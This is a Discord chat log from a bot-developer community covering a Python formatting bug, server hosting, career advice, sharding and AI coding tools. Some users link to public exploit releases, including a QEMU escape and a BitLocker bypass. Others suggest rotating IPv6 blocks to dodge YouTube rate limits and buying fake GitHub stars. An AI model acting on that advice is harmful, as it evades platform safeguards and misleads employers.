I don't think it's a bad idea, I just don't think it has much of an edge over asking any other LLM provider the same question and asking it to create goals and/or calendar study time etc

[stark abyss]

thats good feedback

📝

[lyric mountain]

do u know what that idea sounds like?

and the other 17238478921 similar books

[wheat mesa]

ew who bothers to read a book in 2026

I think AI-as-an-advisor isn't going to give you much success in the current market. You need to truly automate something with it to make people's lives easier

The most successful companies in this era imo are going to be the ones that automate the dirty work that nobody wants to do

For example, when I worked at a big company, there was a workflow that required manual human review of thousands of documents per day, which took an entire team hours of work. Someone I was working with used LLMs as a way to parse through these documents and flag the areas that specifically needed human reconciliation/attention, which ended up saving about 5 hours of manual busywork per day

Those are the types of boring usecases that are actually going to win people over

[slender wagon]

What phone yall using?

I wanna get rid of this iphone 13
Wanna get smthn else

[delicate zephyr]

im on S22 Ultra 5G

[slender wagon]

Samsung is decent. I saw this oppo x9 ultra its pretty decent. But very expensive and ugly looking

Decent spec wise

[knotty night]

I usually get the newest iphone each year, sometimes the pro sometiems the max, sometimes the base model. right now I have the 17 Pro Max and I love it

[warm surge]

iphone 17 pro

[frosty gale]

i stood behind samsung until they one day randomly locked the bootloader permanently and removed unlock logic

im still running on firmware where I can unlock the bootloader on my S24u but that means I literally cannot update unless I want to give my phone to daddy samsung to do as they please with

[lament rock]

Ive heard some people have been happy with nothing phones. Something that can run GrapheneOS might be annoying or impractical soon because what big daddy google is doing with their new "evolution of reCaptcha"
I feel like a Linux phone could be pretty cool

[lyric mountain]

was tried already, failed miserably

[stark abyss]

ChatGPT might say:
“Here are 10 steps to own a hotel.”

my idea app says:
“Here is your hotel ownership path, based on your timeline, your money, your career, your knowledge, your schedule, and your progress. I’ll keep updating it as your life changes.”

@wheat mesa is this better

[lament rock]

Im aware, but the potential is huge

[wheat mesa]

I mean, I guess? I still think it’s not unique enough to attract users

If I have to fill out my career/finances/goals in your app then I could just give the same thing to ChatGPT for free

You need to have a product that isn’t just a wrapper around ChatGPT

[queen needle]

Just ask chatgpt how to make it a good product that isn't just a chatgpt wrapper

[stark abyss]

okeyy

[loud canopy]

guys im going crazy

if i have a list like

requests = ['potato' , 'apple']
and i do
request_list = "\n".join(str(req) for req in requests)
print(request_list)
shouldnt the output be

potato
apple

?

[queen needle]

https://discord.mx/i/mFmNQjvF3p.png

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DiscordMX · May 12, 2026, 3:13 AM

prints that way yeah

[loud canopy]

then wtf

[queen needle]

are you having issues?

[loud canopy]

what kind of sourcery is this

????

[queen needle]

So it's printing two but your message is only showing one, that's the issue right?

[loud canopy]

yes

its not listing all of them

and if i print the formatted string it shows one too

but the list is two

https://tenor.com/view/silly-cat-silly-car-car-stare-10-thousand-yard-stare-10-thousand-yard-gif-14200271775968563996

[queen needle]

something odd is happening in that join function i assume

[loud canopy]

this is worst than that one time that my function would crash saying

"function except two arguments (2 were given)"

[queen needle]

https://discord.mx/i/Iwjuq2LezB.png

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DiscordMX · May 12, 2026, 3:18 AM

[loud canopy]

yeah... something is happening here

its skipping

the first one

[queen needle]

yeah using numbers instead works

[loud canopy]

DEBUG REQUESTS: [24244242, 11111111111, 4050250]

https://tenor.com/view/livasmol-loading-cat-smol-gif-6810651202878211592

[queen needle]

print it again before you join

[loud canopy]

well i cant print it its not defined until i join it

[queen needle]

print requests again before you join

[loud canopy]

oh i do

it shows all of them

[queen needle]

add another one right before you join like one line before

[loud canopy]

-# no way im staying up all night for a string

[queen needle]

just for sanity

[queen needle]

what the heck

[loud canopy]

???

what black magic

is this

i am gonna restart vscode and surely this gonna fix it

https://tenor.com/view/clueless-aware-twitch-forsen-emote-gif-25354609

?XD

[queen needle]

and you tried printing request_list before sending it right

[loud canopy]

ok ts is hunted

OHHH WAIT

I THINK I GET IT

I REMEMBER THIS

AHHHHH

fk me

and fuck discord formatting

i think what is happening is the ''' '''

for the box

i think the first line is hidden

and the next is displayed

lemme try to hardcode 1 entry

but it works for you so weird

mmhh

[queen needle]

no harm in trying to just send the ids

[loud canopy]

https://tenor.com/view/bruce-almighty-morgan-freeman-i-am-god-hello-hey-gif-4743445

whenever you use boxes the first line until /n is hidden

like

meow meow meow```

[queen needle]

that's so interesting

[loud canopy]

see?

i had this issue before like years ago

[queen needle]

yeah because of the language'

[loud canopy]

yes

that meow is now gonna solo carry that list

[queen needle]

so if you just add a \n{request_list}

[loud canopy]

im keeping it there

yeah i added meow \n

[queen needle]

just \n should work but thats fair

[loud canopy]

that meow is 100% necessary

-# not really

ok now that i wasted 45 min for ts

i go back working

[queen needle]

I wasn't even thinking about the formatting I was thinking somehow the list was being manipulated

[loud canopy]

i was 100% sure it was some the database call function being wrong

then i was 100% sure i was doing the loop wrong

then i was 100% sure vscode needed a restart

i hate this

yknow shit serious when i pull out the doc for the easiest stuff ever https://www.geeksforgeeks.org/python/access-list-items-in-python/

[queen needle]

real

[grave zealot]

Updating Server Count

To update your bot's server count, use the server_count parameter as documented in the Top.gg API.

If you want the server count to update automatically whenever your bot joins or leaves a server, you will need to implement this logic in your guild join and guild leave event handlers.

Server count updates should be sent using the following endpoint: POST: https://top.gg/api/bots/{your_bot_id}/stats.

May 12, 2026, 3:44 AM

[pearl trail]

-# pic is not mine

[lament rock]

y tho

[pearl trail]

xD that pic originally might be a joke, but ram servers costs more than normal pc ram

[slender wagon]

Prolly cuz ecc

[pearl trail]

yeah it is, and also buffered thingy

idk the server might actually wont boot with regular pc ram because no ecc

[slender wagon]

I bought my hetzner server without ecc to save $4 a month

Am i not cool

[pearl trail]

oh there's server without ecc

interesting :0

[slender wagon]

Yes

[neon leaf]

you can put ecc on the ryzen desktop platform

because its used for both desktops and servers

[frosty gale]

hetzner prices 😢

[pearl trail]

yeah man, ovh too 😢

even now my currency has weakened

wish i live in a country that has a great household ISP so i can just use my on premise server instead of renting vps

[neon leaf]

dont be discouraged, im running a total of 1TB of ram at home with 40mbit upload

[slender wagon]

my bot started covering the dedi so thats good news

[slender wagon]

u aren't paying for it anymore ?

[late island]

hmm thats al quite low in my eyes

only ovh

[late island]

hetzner is pricyer

[frosty gale]

i get it you guys all have big boy serious servers 🙄

[frosty gale]

i am but im using a temp card for hetzner and it ran out of balance so the auto renew failed lmao

[late island]

i am just an hosting company hosting bots, servers xD

[neon leaf]

i had hetzner replace my drives 4 times already 🔥🔥

and 2 times during the crisis

im truly a good customer

[slender wagon]

i'd stikc with hetzner. You dont wanna go elsewhere

[neon leaf]

aws ❤️🥀

[slender wagon]

why

[neon leaf]

well, when I ordered the server back in 2024 they game me drives with 90% wear, those broke down after 3 months, and a few months ago I reached 120% wear on the new 2024 drives and IO delay shot up so I replaced again and now I have 2x 0% wear drives

[slender wagon]

how much downtime did u have?

[neon leaf]

for each replacement ~10min

[slender wagon]

not the worst

[neon leaf]

yep

and ofc, free of charge for all replacements

[sage vessel]

Wow

[stark abyss]

Guys can I have career advice? I have recently graduated with CS degree (I am in US) and I have two unpaid intern experience one for mobile app development in flutter and one full stack development with react. I am unable to find a job and quite frankly I am not so strong in datastructures & algorithms to go for higher level company. Umm so I been applying to everything in boston (where I graduated from) my hometown, remote jobs for any role I can find. And uhhh not sure if I should do the COMPTIA A+ to get into IT field or not. There seems to be more jobs open for those role but the pay isn't the best.

[wheat mesa]

Certifications and bootcamps are not going to be useful to you if you have an undergrad in CS

I would say the only ones that are useful are the ones from AWS, Azure, and GCP for their cloud stuff

The job market is rough right now, but are you open to moving? That would make your search a lot easier

[stark abyss]

Yeah I am

[wheat mesa]

Apply to jobs out of state if you're willing to move. Lots of new grad SWE positions will give you a signing bonus for relocation

Look at applying to new grad positions at banks like Chase, Wells Fargo, Capital One, Bank of America, etc.

They have relatively low bars of entry and they have good pay

Also do you have projects on your resume? @stark abyss

Make sure to optimize your resume as much as you can, 95% of the rejections you will get will be in the filtering stage. If you can increase your first-round interview rate then you will have MUCH better chances of finding something

[frosty gale]

if you tailor your resume to the job description it will massively help your chances as well getting past clueless HR people

AI can be very helpful for that sinec it would take ages making a cv for each job

[neon leaf]

@frosty gale I just saw the following in a codebase:

let some_thing = SomeStruct::new(reader);
std::io::copy(&mut { some_thing }, &mut writer)?;

I am disgusted

[frosty gale]

im not exactly sure what im looking at but i know enough to see that its cursed

[neon leaf]

you are looking at how to make non-mutable-owned-variable mutable without reassigning

[frosty gale]

ohhhh right yeah

this should be illegal

[stark abyss]

yeah I do, one mobile app on App Store

Okay thanks waffle

[stark abyss]

No traction because I didn’t market it so I don’t have many users for it😭

[frosty gale]

it doesnt have to be something you've launched but literally some code you wrote and published it on github or whatever

[wheat mesa]

^^

[frosty gale]

get some fake stars on them to go the extra mile 🤑

[slender wagon]

I dont like working anymore

[pearl trail]

damn is this a thing 😮

[stark abyss]

ok ok sounds good

[loud canopy]

sorry guys quick question

where do i check this?

on the top.gg page

[deft wolf]

Holy support scam

Bro even roleplays dyno

[loud canopy]

bro i deadass thought

some dude was crashing out on me

like "GO HERE ASK HERE'

XD

[limber horizon]

I have a question about my top.gg listings' "Server Count" number being way lower than my actuals client.guilds count. Does it update on some interval? Is it just broken?
nb I don't currently handle on_join/on_leave.

[digital swan]

you have to update it yourself with the topgg api

[limber horizon]

Ugh. Not the answer I'd hoped for but I greatly appreciate the reply.

[hard zenith]

https://discord.gg/discord-developers
having some changes to gaming things https://discord.gg/discord-developers

[deft wolf]

Me when discord developers

[hard zenith]

Lmfao 🤣

[lament rock]

who here develops gmod maps

[simple cradle]

I just figured out how to use the new webhooks for vote rewards, thanks for the super easy instructions in the docs ❤️

[ashen notch]

Hi, my bot has reached 75 servers, and I also received the message on Discord. However, when I try to verify the intents on the Discord Developer Portal, it says that I don’t meet the minimum server requirement. Could you help me?

[nimble kestrel]

weird. I think people at https://discord.gg/discord-developers would know the answer

[warm surge]

hey apply for intents you need

[warm surge]

and your bot needs be 75 servers to apply those intents

[prime cliff]

The 75 server verification is automatic once you fill in the details, privilaged intents need to be manually approved

[late island]

is there someone who can judge the website i am making cause i feel like i been spending 6 days on it and i got tunnel vision or something
idk if its even allowed to ask here if not i am sorry

[stark abyss]

@late island dm me your website link

[loud canopy]

bro i fixed a bug

but im not entirely 100% sure

so i asked my fellow chatgpt and hes like "yeah it seems like it work but it could break on heavy load"

-# bro giving me nightmares

like since i dont want ppl to play with multiple sessions open, whenever you open a new one the old one closes, but each view has a view.stop() so the timeout doesnt trigger if you close it, problem is if you open a new one and the old session closes, the timeout would still run, so i added a check that if session is deprecated ignore stalemate and timeout

but chatgpt WANTS me to track all views somewhere else to be safe XD

[DEBUG] Ignored stale timeout```

https://tenor.com/view/happy-catto-cats-gif-2693509101423175460

[deft wolf]

Crazy ad in the sticker name

[swift barn]

not my fault its named that

[neon leaf]

@frosty gale https://depthfirst.com/nginx-rift

[frosty gale]

i bet its the same few mfs which are having fun using their fancy AI to discover decade old vulnerabilities

the same mfs realising they cant use their tools on closed source apps because there is no source code

https://giphy.com/gifs/black-crying-rhgifs-VNTMx3LkpG2anXpwbr

[scenic zodiac]

I need an API to download audio from YouTube to play my music robot.

[charred nest]

a lot of APIs have been taken down for this bc youtube doesn't allow this

[warm surge]

i just told him in general

[nimble kestrel]

try yt-dlp tool on GitHub

[warm surge]

same issue

i think if i can remember they got lawsuits as well by youtube

[craggy pine]

I do know a work around but Idk if it's against top.gg TOS to mention it here lol.

[lament rock]

Anything related to YouTube downloading/streaming through non official channels has already lead to take downs of the feature from many bots and while yt-dl is still available on GitHub, there was drama surrounding it being DMCA'd by YouTube. Someone even published the ytdl source code to GitHub's official DMCA repo in protest.

GitHub declared that it was taken down for protection circumvention reasons when it wasn't and thus reinstated it.
https://github.blog/news-insights/policy-news-and-insights/standing-up-for-developers-youtube-dl-is-back/

As far as I know, you cannot know if a link has copyrighted content in it, so more often than not, streaming anything from YouTube comes with heavy and very likely risks of you redistributing copyrighted material which is illegal. Full stop. YouTube does take down bots that have YouTube integration regardless of if you are using ytdl or not.

[craggy pine]

Which is a shame but it is what it is. I do use YouTube audio for a personal project not for public use. Rotating IPv6/48 blocks comes in handy lol.

[scenic zodiac]

I'm not stupid, I know yt-dlp, but it refuses to connect to bots and the cookies need to be updated regularly, and I'm too lazy to do that.

[lyric mountain]

heyyy miyu

[craggy pine]

Hey who I assume is Kuu lol

[lyric mountain]

yep yep

decided to stop hiding my fursona

[craggy pine]

Very nice

[frosty gale]

i thought discord's developer and intent verification was a nuisance until i saw facebook's

every year you have to fill out an entire ahh form and you also have to provide instructions for their "reviewers" to verify it

i think someone on our team that has left ages ago was in charge of it so it wasnt renewed and now access is suspended because of "timely response to their request"

[frosty gale]

there's also checkboxes to ask if you're using facebook data for survaillance or to discriminate people fun fact

[scenic zodiac]

[scenic zodiac]

I don't know, but the Lava Link method always fails for me.

[slender wagon]

2 months and a half

for this...

[deft wolf]

[slender wagon]

not funny

im abouta

crash out

[scenic zodiac]

This is a train, not a message.

[neon leaf]

@frosty gale why are zstd shared dictionaries so OP

im using it for a diff based file history now and its so much more efficient than regular diffing

[craggy pine]

I'm not a Python dev, but at least reading the console, I don't see any mention of LL. I just see discord API errors for autoComplete.

LL typically has its own console and debug options. Also they have a Discord server you can get help for it there.

[neon leaf]

https://github.com/oven-sh/bun/pull/30412 💀

[loud canopy]

me when i forget to () the function

[quartz kindle]

wait what

it was merged??

is this actually real?

[neon leaf]

yes

he rewrote it with claude mythos

[quartz kindle]

holy shit

brb gonna write my own js engine with deepseek v4

[acoustic fern]

+1m lmao

Do people just hate rust or was it just not necessary to do? Nearly 600 👎 lol

[quartz kindle]

bun was written in zig

according to the PR, it had multiple efficiency issues and memory leaks that would be very difficult to solve in zig

so they went ahead and rewritten everything in rust lol

[acoustic fern]

Is that just a skill issue? As in memory bugs in c++ are just a skill issue

[quartz kindle]

this is a pretty big blow to the zig programing language

[quartz kindle]

most likely, but with the project already this large, some refactors would be hard to do

[acoustic fern]

Big win for Claude though

[quartz kindle]

maybe they made skill issue mistakes years ago

[acoustic fern]

True

Plus it’s all voluntary right

[quartz kindle]

well they own everything, so they are just playing with their own tools

anthropic owns both claude and bun lol

[acoustic fern]

Oh, I didn’t know that

Well I did but I forgot

Damn 💀

[frosty gale]

ngl i never took zig seriously 💀

[quartz kindle]

well me neither but it was still a nice try from them

they proved themselves quite a bit with bun, but in the end rust still dominates

[delicate zephyr]

oh hi tim

[frosty gale]

https://lwn.net/Articles/1071706 linux kernel might be getting a kill switch which you can configure to act when the kernel executes a certain function, to make it easier to disable unused code paths and reduce your attack surface or easily mitigate vulnerabilities that havent been patched yet

i think this is a W

[quartz kindle]

hai

[loud canopy]

wait i tried the in built ai agent in vscode and i was like asking for some stuff i want to build just to see what kind of weird stuff he about to give me, after explaining what i wanted more or less he looked at my project and automatically just decided to use the BaseView i custom made for the class without me telling him okay okay i wasnt familiar with ur game ai

[wheat mesa]

Claude code would blow this guy’s mind

[neon leaf]

@frosty gale https://x.com/v12sec/status/2055282721212252178?s=46

V12 (@v12sec)

today we are releasing a qemu escape

▶ Play video

X · May 15, 2026, 1:42 PM

https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn

[nimble kestrel]

Claude >> everything

[frosty gale]

was this found by mythos as well

[neon leaf]

[frosty gale]

they gatekeeping mythos from us frfr

... unless you're a company with lots of money

[neon leaf]

or curl author who technically got access but didnt

[quartz kindle]

didnt they do it because of how many vulnerabilities it found?

imagine releasing to public an ai that can find hundreds of unknown vulnerabilities

[pearl trail]

we’re living in a vulnerable world

don’t even know how vulnerable is basic hello world rest api

[neon leaf]

@knotty night

[neon leaf]

@knotty night

[slender wagon]

This was kinda biased tbh.
Because they spent over 150K in tokens to do that

They could discover the same sith the other models as well just not as fast

Its still very very pricey

[loud canopy]

i rarely use AI idk man sorry

[late island]

after your bot reaches 2500 servers you need to start splitting into multiple instances right?

[acoustic fern]

Well you need to have multiple websocket connections

[late island]

so basicly it sharding?

const { ShardingManager } = require('discord.js');

const manager = new ShardingManager('./src/index.js', {
  token: process.env.DISCORD_TOKEN,
  totalShards: 'auto',
});

[quartz kindle]

yes

its recommended to start at 1500

2500 is the hard limit

[neon leaf]

@frosty gale https://github.com/v12-security/pocs/tree/main/fragnesia-5db89c99566fc

[mossy apex]

everything huh
ask clalude to make windows11 with no mistake

-# tell me what's the results

[digital swan]

[main karma]

GM guys

[prime cliff]

Gonna be making a space colony simulator game like rimworld but with space tech and stuff like ships, weapons like phasers, spooky aliens and raiders that attack, astroids that spawn in the map for resources, wormholes to explore.

If you guys have any suggestions and i can also reference things from stuff like star trek and using Unity to make it.

[stark abyss]

[lament rock]

Good luck. Take some notes from recent rimworld patches and have pawns on threads

Having everything on the main thread is a big cope for longer playthroughs :)

[prime cliff]

Yea will get the basic stuff first then work on performance

[lyric mountain]

can use rimworld for reference, new dlc is all about ships n space

except for the wormholes

[frosty gale]

did you see the bitlocker one lmao

https://github.com/Nightmare-Eclipse/YellowKey

although its not as bad as influencers are making it out to be because it doesn't break bitlocker's encryption it only tricks windows into unlocking the drive automatically using the TPM and granting full access to the drive

if you use password based bitlocker this does nothing

[neon leaf]

yeah it was great timing

had to recover a device with passive bitlocker

[sharp geyser]

note to self, dont use cjs for postcss config file, apparently it bricks everything and causes memory leaks

have no idea why cjs vs mjs matters here

[deft wolf]

#ad

[clever tundra]

@knotty night ad?

[wheat mesa]

GDPR compliant but probably sends messages to GPT 🙏 😭

[knotty night]

@lean pumice no ads

[vivid shale]

Im lowk impressed with myself

so-

is there anything else with the API I could possible make like does it show how many times the user votes via the api?

[digital swan]

you could count it yourself in your database

then you can add streaks, bonuses for long streaks etc

[vivid shale]

ahh ty

[neon flicker]

I'm just back to bot development after a while, how to add these lines inside my embeds using discord.js?

[acoustic fern]

From the image this looks more like components v2

So that’s a separator

https://discordjs.guide/legacy/popular-topics/display-components#separator this I believe

[prime bridge]

Is there anyone looking for dev?

[deft wolf]

Most of us active here are developers

[prime bridge]

oh, sorry

if then, is there anyone who needs an additional developer?

[slender wagon]

I have certain intents only needed for the initial setup. Would it be ok to create a second bot only invited temporary to create the setup initially needed for the main bot and then the temp bot is kicked

[lament rock]

From a UX standpoint, that sucks

Also, how would you assure that people would actually kick the bot

you could leave yourself, but what if setup fails or they want to re-setup? Then what?

[prime cliff]

You can just POST leave server on the temp bot instead of kick and needing said permission :/

[slender wagon]

i mean this are all things that can be properly handled

[slender wagon]

its optional

[lone trellis]

Hey everyone, I’ve been working on a Discord music bot and ran into YouTube rate-limiting issues once the bot started scaling/testing more aggressively.
I noticed the issue becomes much more apparent on VPS/cloud-hosted environments like ORACLE compared to local testing, especially when multiple song searches/stream fetches happen close together. I was curious how larger music bots typically handle this nowadays ? Anyone got ideas?

[craggy pine]

IPv6 Rotation, Refresh Tokens, Cyphers. Due to how YouTube works, they can randomly change something and everything goes to shit and you have to wait for your library people to update to handle the new changes. Most music bots opt into other streaming services if YouTube fails (or won't use YouTube for audio period) such as Soundcloud ect.

[loud canopy]

is the developer website working fine for everyone?

(discord developer website)